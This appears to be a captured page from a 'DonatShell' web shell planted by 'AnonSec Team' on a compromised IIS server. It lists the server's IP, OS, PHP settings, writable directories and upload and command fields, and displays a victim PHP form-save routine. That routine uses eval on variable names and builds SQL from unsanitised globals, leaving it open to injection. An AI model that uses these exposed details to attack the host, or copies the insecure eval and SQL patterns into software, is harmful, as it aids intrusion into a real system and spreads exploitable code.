DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.127
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/inc/fixform_editor_save.php
<?
function fixform_editor_save($edittp) {
	global $ffe_issave;
	global $useradminid;
	if ($ffe_issave!="yes") {
		return;
	}
	global $ffe_tb;
	global $ffe_condition;
	global $ffe_limitsql;

	$ffe_condition=stripslashes($ffe_condition);

	global $ffdat;
	//printr($ffdat);
	//global $_POST;
	//printr($_POST);

	reset ($ffdat); 
	$dspsql=" ";
	while (list ($key, $val) = each ($ffdat)) { 
		//printr($val);
		$tmpchk="";
		$tmpchk=substr($val,0,10);
		if ($tmpchk=="datedata::") {
			$dtdat=substr($val,10);
			//echo "[$listdat]";
			$dtdatv=form_pickdt_get($dtdat);
			//echo "[$dtdat=$dtdatv]<BR>";
			$dspsql.=" $key='".$dtdatv."' ,";
		} elseif ($tmpchk=="passdata::") {
			$valkey=substr($val,10);
			$valval="";
			eval("global $$valkey;");
			eval("\$valval=$$valkey;");
			$valval=trim($valval);
			if ($valval!="") {
				$dspsql.=" $key='".md5($valval)."' ,";
			}
			//echo $dspsql;
		} elseif ($tmpchk=="switchsi::") {
			$valkey=substr($val,10);
			$valval="";
			eval("global $$valkey;");
			eval("\$valval=$$valkey;");
			//echo("\$valval=$$valkey;");
			if ($valval=="yes") {
				tmq("update $ffe_tb set $key='no' where 1",false);
			}
			$dspsql.=" $key='".$valval."' ,";
		} elseif ($tmpchk=="autoruni::") {
			if ($fftmode=="edit") {
				$dspsql.=" $key='".addslashes($ffdat[$key])."' ,";
			} else {
				$chkold=tmq("select * from $ffe_tb where $ffe_limitsql order by $key desc limit 1",false);
				$chkold=tmq_fetch_array($chkold);
				$chkold=floor($chkold[$key])+1;
				$dspsql.=" $key='".$chkold."' ,";
			}
		} else {
			//echo "[ $key-".$ffdat[$key]."]<HR>";
			$dspsql.=" $key='".addslashes($ffdat[$key])."' ,";
		}
	}
	$dspsql=trim($dspsql,',');

	$chkold=tmq("select * from $ffe_tb where $ffe_condition");
	if (tmq_num_rows($chkold)>0) {
		$sql="update $ffe_tb set $dspsql where $ffe_condition";
		$savemode="update";
	} else {
		$sql="insert into $ffe_tb  set $dspsql , $ffe_condition";
		$savemode="insert";
	}
	//echo $sql; 
	tmq($sql);
	$newiddb=tmq_insert_id();
	if ($savemode=="insert") {
		reset ($edittp); 
		while (list ($key, $val) = each ($edittp)) { 
			//for globalupload
			if ($val[addon]=="globalupload::"&&$val[fieldtype]=="html") {
				$newid="$ffe_tb-$newiddb";
				$ffdat[$val[field]]=frm_globalupload_updatetemp($newid,$ffdat[$val[field]]);
				tmq("update $ffe_tb set $val[field]='".$ffdat[$val[field]]."' where id='$newiddb' ",false);
				//echo $ffdat[$val[field]]=str_replace("/tempolary-for-$useradminid/","/$newid/",$ffdat[$val[field]]);;
			}
			//for singlefile
			tmq("update fft_upload set keyid ='$ffe_tb:$val[field]:$newiddb' where keyid='$ffe_tb:$val[field]:TEMP-$useradminid' ");
		}
	}

	echo "<CENTER><FONT SIZE=4 COLOR=darkgreen>".getlang("ทำการบันทึกข้อมูลเรียบร้อยแล้ว::l::Data saved successfully")."</FONT></CENTER>";
}

?>

Anon7 - 2022
AnonSec Team